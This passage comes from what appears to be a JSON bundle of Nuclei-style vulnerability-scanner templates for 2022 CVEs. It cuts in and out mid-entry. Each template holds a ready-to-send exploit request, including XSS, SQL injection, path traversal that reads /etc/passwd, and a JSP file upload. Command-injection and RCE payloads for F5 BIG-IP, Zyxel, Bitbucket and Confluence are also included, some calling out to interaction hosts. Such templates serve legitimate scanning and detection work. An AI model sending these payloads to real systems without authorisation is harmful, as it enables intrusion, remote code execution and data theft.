application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&is_active=1&fields_id=193&fields_values%5B%5D=67&bg_color=&sort_order=¬es=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"<script>alert(document.domain)</script>\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-32025","info":{"name":"Car Rental Management System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /admin/ajax.php?action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}%23&password={{password}}\n","GET /admin/view_car.php?id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"skip-variables-check":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-30513","info":{"name":"School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /dms/admin/login.php?f=login HTTP/1.1\nHost: {{Hostname}}\n\nusername={{username}}&password={{password}}\n","GET /dms/admin/?page=%27%3B%20alert(document.domain)%3B%20s%3D%27 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["''; alert(document.domain); s='';","School Dormitory Management System"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-45835","info":{"name":"WordPress PhonePe Payment Solutions <=1.0.15 - Server-Side Request Forgery","severity":"medium"},"requests":[{"raw":["GET /?phonepe_action=curltestPhonePe&url=http://{{interactsh-url}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["cURL Test for PhonePe"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1597","info":{"name":"WordPress WPQA <5.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0\nContent-Type: application/x-www-form-urlencoded\n\nuser_name={{user}}&email={{user}}@{{Host}}&pass1={{pass}}&pass2={{pass}}&phone={{rand_text_numeric(10)}}&agree_terms=on&form_type=wpqa-signup&action=wpqa_ajax_signup_process\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0\nContent-Type: application/x-www-form-urlencoded\n\nuser_mail={{user}}@{{Host}}&form_type=wpqa_forget&action=wpqa_ajax_password_process&redirect_to={{url_encode(redirect_to)}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{redirect_to}}","\"success\":1"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-40022","info":{"name":"Symmetricom SyncServer Unauthenticated - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /controller/ping.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{RootURL}}/controller/ping.php\n\ncurrentTab=ping&refreshMode=ðDirty=false&snmpCfgDirty=false&snmpTrapDirty=false&pingDirty=false&hostname=%60id%60&port=eth0&pingType=ping\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"regex","part":"body","regex":["uid=([0-9(a-z)]+)"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2022-40734","info":{"name":"Laravel Filemanager v2.5.1 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd","{{BaseURL}}/laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd"],"stop-at-first-match":true,"matchers":[{"type":"regex","regex":["root:[x*]:0:0"]}]}]},{"id":"CVE-2022-1388","info":{"name":"F5 BIG-IP iControl - REST Auth Bypass RCE","severity":"critical"},"requests":[{"raw":["POST /mgmt/tm/util/bash HTTP/1.1\nHost: {{Hostname}}\nConnection: keep-alive, X-F5-Auth-Token\nX-F5-Auth-Token: a\nAuthorization: Basic {{base64(auth)}}\nContent-Type: application/json\n\n{\n \"command\": \"run\",\n \"utilCmdArgs\": \"-c '{{cmd}}'\"\n}\n","POST /mgmt/tm/util/bash HTTP/1.1\nHost: localhost\nConnection: keep-alive, X-F5-Auth-Token\nX-F5-Auth-Token: a\nAuthorization: Basic {{base64(auth)}}\nContent-Type: application/json\n\n{\n \"command\": \"run\",\n \"utilCmdArgs\": \"-c '{{cmd}}'\"\n}\n"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["commandResult","8831-2202-EVC"],"condition":"and"}]}]},{"id":"CVE-2022-2487","info":{"name":"Wavlink WN535K2/WN535K3 - OS Command Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /cgi-bin/nightled.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\npage=night_led&start_hour=;{{cmd}};\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["uid=","gid=","nightStart"],"condition":"and"},{"type":"word","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-34590","info":{"name":"Hospital Management System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /hms/admin/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin%27+or+%271%27%3D%271%27%23&password=admin%27+or+%271%27%3D%271%27%23&submit=\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<title>Admin | Dashboard","Manage Patients","Manage Doctors"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-36804","info":{"name":"Atlassian Bitbucket - Remote Command Injection","severity":"high"},"requests":[{"raw":["GET /rest/api/latest/repos HTTP/1.1\nHost: {{Hostname}}\n","GET /rest/api/latest/projects/{{key}}/repos/{{slug}}/archive?filename={{data}}&at={{data}}&path={{data}}&prefix=ax%00--exec=%60id%60%00--remote=origin HTTP/1.1\nHost: {{Hostname}}\n"],"stop-at-first-match":true,"iterate-all":true,"matchers-condition":"and","matchers":[{"type":"word","words":["com.atlassian.bitbucket.scm.CommandFailedException"]},{"type":"status","status":[500]}],"extractors":[{"type":"json","name":"key","internal":true,"json":[".[\"values\"] | .[] | .[\"project\"] | .key"],"part":"body"},{"type":"json","name":"slug","internal":true,"json":[".[\"values\"] | .[] | .slug"],"part":"body"},{"type":"regex","group":1,"regex":["uid=.*\\(([a-z]+)\\):"]}]}]},{"id":"CVE-2022-0540","info":{"name":"Atlassian Jira Seraph - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/InsightPluginShowGeneralConfiguration.jspa;"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["General Insight Configuration"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1162","info":{"name":"GitLab CE/EE - Hard-Coded Credentials","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/users/sign_in"],"redirects":true,"max-redirects":3,"matchers":[{"type":"word","words":["003236d7e2c5f1f035dc8b67026d7583ee198b568932acd8faeac18cec673dfa","1d840f0c4634c8813d3056f26cbab7a685d544050360a611a9df0b42371f4d98","6eb5eaa5726150b8135a4fd09118cfd6b29f128586b7fa5019a04f1c740e9193","6fa9fec63ba24ec06fcae0ec30d1369619c2c3323fe9ddc4849af86457d59eef","cfa6748598b5e507db0e53906a7639e2c197a53cb57da58b0a20ed087cc0b9d5","f8ba2470fbf1e30f2ce64d34705b8e6615ac964ea84163c8a6adaaf8a91f9eac"],"condition":"or"}],"extractors":[{"type":"regex","group":1,"regex":["(?:application-)(\\S{64})(?:\\.css)"]}]}]},{"id":"CVE-2022-0412","info":{"name":"WordPress TI WooCommerce Wishlist <1.40.1 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nGET /?rest_route=/wc/v3/wishlist/remove_product/1&item_id=0%20union%20select%20sleep(5)%20--%20g HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=5"]},{"type":"word","part":"body","words":["Product not found"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2022-32772","info":{"name":"WWBN AVideo 11.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["avideoAlertInfo(\""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-38467","info":{"name":"CRM Perks Forms < 1.1.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/crm-perks-forms/readme.txt HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/crm-perks-forms/templates/sample_file.php?FirstName=&LastName=&%20Company= HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_1 == 200","contains(content_type_2, \"text/html\")","contains(body_1, \"CRM Perks Forms\") && contains(body_2, \"\")"],"condition":"and"}]}]},{"id":"CVE-2022-0378","info":{"name":"Microweber Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(document.domain)+xx=%22test&from_url=x"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["mwui_init","onmousemove=\"alert(document.domain)"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2314","info":{"name":"WordPress VR Calendar <=2.3.2 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /wp-content/plugins/vr-calendar-sync/assets/js/public.js HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-admin/admin-post.php?vrc_cmd=phpinfo HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["phpinfo","PHP Version"],"condition":"and"},{"type":"word","part":"body_1","words":["vrc-calendar"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31846","info":{"name":"WAVLINK WN535 G3 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/live_mfg.shtml"],"matchers-condition":"and","matchers":[{"type":"word","words":["Model=","DefaultIP=","LOGO1="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0346","info":{"name":"WordPress XML Sitemap Generator for Google <2.0.4 - Cross-Site Scripting/Remote Code Execution","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp","{{BaseURL}}/?p=1&xsg-provider=data://text/html,","Invalid Provider type specified"],"condition":"and"},{"type":"word","part":"body_2","words":["2ef3baa95802a4b646f2fc29075efe34"]}]}]},{"id":"CVE-2022-25485","info":{"name":"Cuppa CMS v1.0 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /alerts/alertLightbox.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurl=../../../../../../../../../../../etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2733","info":{"name":"Openemr < 7.0.0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{RootURL}}/interface/login/login.php?site=default\n\nnew_login_session_management=1&languageChoice=1&authUser={{username}}&clearPass={{password}}&languageChoice=1\n","GET /interface/forms/fee_sheet/review/fee_sheet_options_ajax.php?pricelevel=%3Cimg%20src=a%20onerror=alert(document.cookie)%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","pricelevel"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24288","info":{"name":"Apache Airflow OS Command Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/airflow/code?root=&dag_id=example_passing_params_via_test_command","{{BaseURL}}/code?dag_id=example_passing_params_via_test_command"],"stop-at-first-match":true,"matchers":[{"type":"word","words":["foo was passed in via Airflow CLI Test command with value {{ params.foo }}"]}]}]},{"id":"CVE-2022-43140","info":{"name":"kkFileView 4.1.0 - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/getCorsFile?urlPath={{base64('https://oast.me')}}"],"matchers":[{"type":"word","part":"body","words":["

Interactsh Server

"]}]}]},{"id":"CVE-2022-27849","info":{"name":"WordPress Simple Ajax Chat <20220116 - Sensitive Information Disclosure vulnerability","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/simple-ajax-chat/sac-export.csv"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"Chat Log\"","\"User IP\"","\"User ID\""],"condition":"and"},{"type":"word","part":"header","words":["text/csv"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-3980","info":{"name":"Sophos Mobile managed on-premises - XML External Entity Injection","severity":"critical"},"requests":[{"raw":["@timeout: 50s\nPOST /servlets/OmaDsServlet HTTP/1.1\nHost: {{Hostname}}\nContent-Type: \"application/xml\"\n\n\n%test;]>\ntest\n"],"redirects":true,"max-redirects":3,"matchers":[{"type":"dsl","dsl":["contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')","status_code == 400","len(body) == 0"],"condition":"and"}]}]},{"id":"CVE-2022-0149","info":{"name":"WooCommerce Stored Exporter WordPress Plugin < 2.7.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=woo_ce&failed=1&message=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0786","info":{"name":"WordPress KiviCare <2.3.9 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nGET /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id=%7B\"id\":\"1\"%7D&props_doctor_id=1,2)+AND+(SELECT+42+FROM+(SELECT(SLEEP(6)))b HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Doctor details\")"],"condition":"and"}]}]},{"id":"CVE-2022-2551","info":{"name":"WordPress Duplicator <1.4.7 - Authentication Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/backups-dup-lite/dup-installer/main.installer.php?is_daws=1","{{BaseURL}}/wp-content/dup-installer/main.installer.php?is_daws=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["restart this install process"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-3484","info":{"name":"WordPress WPB Show Core - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php?audioPlayerOption=1&fileList[0][title]=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains(body, \"wpb_jplayer_setting\")","contains(body, \"\")"],"condition":"and"}]}]},{"id":"CVE-2022-30777","info":{"name":"Parallels H-Sphere 3.6.1713 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["\"><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-44948","info":{"name":"Rukovoditel <= 3.2.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=entities/entities_groups&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"<script>alert(document.domain)</script>\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-2756","info":{"name":"Kavita <0.5.4.1 - Server-Side Request Forgery","severity":"medium"},"requests":[{"raw":["POST /api/account/login HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/plain, */*\nContent-Type: application/json\n\n{\"username\":\"{{username}}\",\"password\":\"{{password}}\"}\n","POST /api/upload/upload-by-url HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/plain, */*\nAuthorization: Bearer {{token}}\nContent-Type: application/json\n\n{\"url\":\"http://oast.me/#.png\"}\n","GET /api/image/cover-upload?filename=coverupload_{{filename}}.png HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Bearer {{token}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_3","words":["Interactsh Server"]},{"type":"word","part":"header","words":["image/png"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"token","group":1,"regex":["\"token\":\"(.*?)\""],"internal":true},{"type":"regex","name":"filename","group":1,"regex":["coverupload.(.*?).png"],"internal":true}]}]},{"id":"CVE-2022-2599","info":{"name":"WordPress Anti-Malware Security and Brute-Force Firewall <4.21.83 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=GOTMLS-settings&GOTMLS_debug=<%2Fscript><img+src+onerror%3Dalert%28document.domain%29> HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><img src onerror=alert(document.domain)>","GOTMLS_mt"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28079","info":{"name":"College Management System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /admin/asign-single-student-subjects.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsubmit=Press&roll_no=3&course_code=sd' UNION ALL SELECT CONCAT(md5({{num}}),12,21),NULL,NULL,NULL,NULL#\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["{{md5({{num}})}}"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2022-38295","info":{"name":"Cuppa CMS v1.0 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&password={{password}}&language=en&task=login\n","POST /components/table_manager/classes/functions.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nid_field=0&name_field=\"><script>alert(document.domain)</script>&admin_login_field=1&site_login_field=1&enabled_field=1&view=cu_user_groups&function=saveAdminTable\n","POST /components/table_manager/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\npath=component%2Ftable_manager%2Fview%2Fcu_user_groups&uniqueClass=\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_3","words":["\"><script>alert(document.domain)</script>","cuppa_html"],"condition":"and"},{"type":"word","part":"header_3","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-25488","info":{"name":"Atom CMS v2.0 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/ajax/avatar.php?id=-1+union+select+md5({{num}})%23"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["/{{md5(num)}}","avatar-container"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-30525","info":{"name":"Zyxel Firewall - OS Command Injection","severity":"critical"},"requests":[{"raw":["POST /ztp/cgi-bin/handler HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"command\":\"setWanPortSt\",\"proto\":\"dhcp\",\"port\":\"4\",\"vlan_tagged\":\"1\",\"vlanid\":\"5\",\"mtu\":\"; curl {{interactsh-url}};\",\"data\":\"hi\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-25497","info":{"name":"Cuppa CMS v1.0 - Local File Inclusion","severity":"medium"},"requests":[{"raw":["POST /js/filemanager/api/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"from\":\"//../../../../../../../../../../../../../etc/passwd\",\"to\":\"/../{{randstr}}.txt\",\"action\":\"copyFile\"}\n","GET /{{randstr}}.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header_2","words":["text/plain"]},{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-26352","info":{"name":"DotCMS - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /api/content/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3\n\n--------------------------aadc326f7ae3eac3\nContent-Disposition: form-data; name=\"name\"; filename=\"../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/{{randstr}}.jsp\"\nContent-Type: text/plain\n\n<%\nout.println(\"CVE-2022-26352\");\n%>\n--------------------------aadc326f7ae3eac3--\n","GET /{{randstr}}.jsp HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_2, \"CVE-2022-26352\")","status_code_2 == 200"],"condition":"and"}]}]},{"id":"CVE-2022-2034","info":{"name":"WordPress Sensei LMS <4.5.0 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/wp/v2/sensei-messages/{{num}}"],"payloads":{"num":"helpers/wordlists/numbers.txt"},"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["sensei_message","guid\":{\"rendered\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2219","info":{"name":"Unyson < 2.7.27 - Cross Site Scripting","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=fw-extensions&sub-page=extension&extension=feedback<script>alert(document.domain)</script> HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"script%3Ealert%28document.domain%29%3C%2Fscript%3\")","contains(body_2, \"Unyson\")"],"condition":"and"}]}]},{"id":"CVE-2022-0140","info":{"name":"WordPress Visual Form Builder <3.0.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-admin/admin.php?page=vfb-export HTTP/1.1\nHost: {{Hostname}}\nReferer: {{RootURL}}/wp-admin/admin.php?page=vfb-export\nContent-Type: application/x-www-form-urlencoded\nOrigin: {{RootURL}}\n\nvfb-content=entries&format=csv&entries_form_id=1&entries_start_date=0&entries_end_date=0&submit=Download+Export+File\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["\"Date Submitted\"","\"Entries ID\""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-22965","info":{"name":"Spring - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST {{BaseURL}} HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nclass.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx\n","GET /?class.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1\n"],"payloads":{"interact_protocol":["http","https"]},"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: Java"],"case-insensitive":true}]}]},{"id":"CVE-2022-22242","info":{"name":"Juniper Web Device Manager - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/error.php?SERVER_NAME=<script>alert(document.domain)</script>"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert(document.domain)</script>","The requested resource is not authorized to view"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-4325","info":{"name":"WordPress Post Status Notifier Lite <1.10.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/options-general.php?page=post-status-notifier-lite&controller=%3Cscript%3Ealert%28%60document.domain%60%29%3C%2Fscript%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"<script>alert(`document.domain`)</script>\")","contains(body_2, \"Post Status Notifier Lite\")"],"condition":"and"}]}]},{"id":"CVE-2022-26134","info":{"name":"Confluence - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/","{{BaseURL}}/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20{{interactsh-url}}%22%29%7D/"],"stop-at-first-match":true,"req-condition":true,"matchers-condition":"or","matchers":[{"type":"dsl","dsl":["contains(to_lower(header_1), \"x-cmd-response:\")"]},{"type":"dsl","dsl":["contains(interactsh_protocol, \"dns\")","contains(to_lower(response_2), \"confluence\")"],"condition":"and"}],"extractors":[{"type":"kval","kval":["x_cmd_response"],"part":"header"}]}]},{"id":"CVE-2022-31845","info":{"name":"WAVLINK WN535 G3 - Information Disclosure","severity":"high"},"requests":[{"raw":["@timeout: 10s\nGET /live_check.shtml HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["Model=","FW_Version=","LanIP="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-27926","info":{"name":"Zimbra Collaboration (ZCS) - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/public/error.jsp?errCode=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<img src=x onerror=alert(document.domain)>Title???"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31983","info":{"name":"Online Fire Reporting System v1.0 - SQL 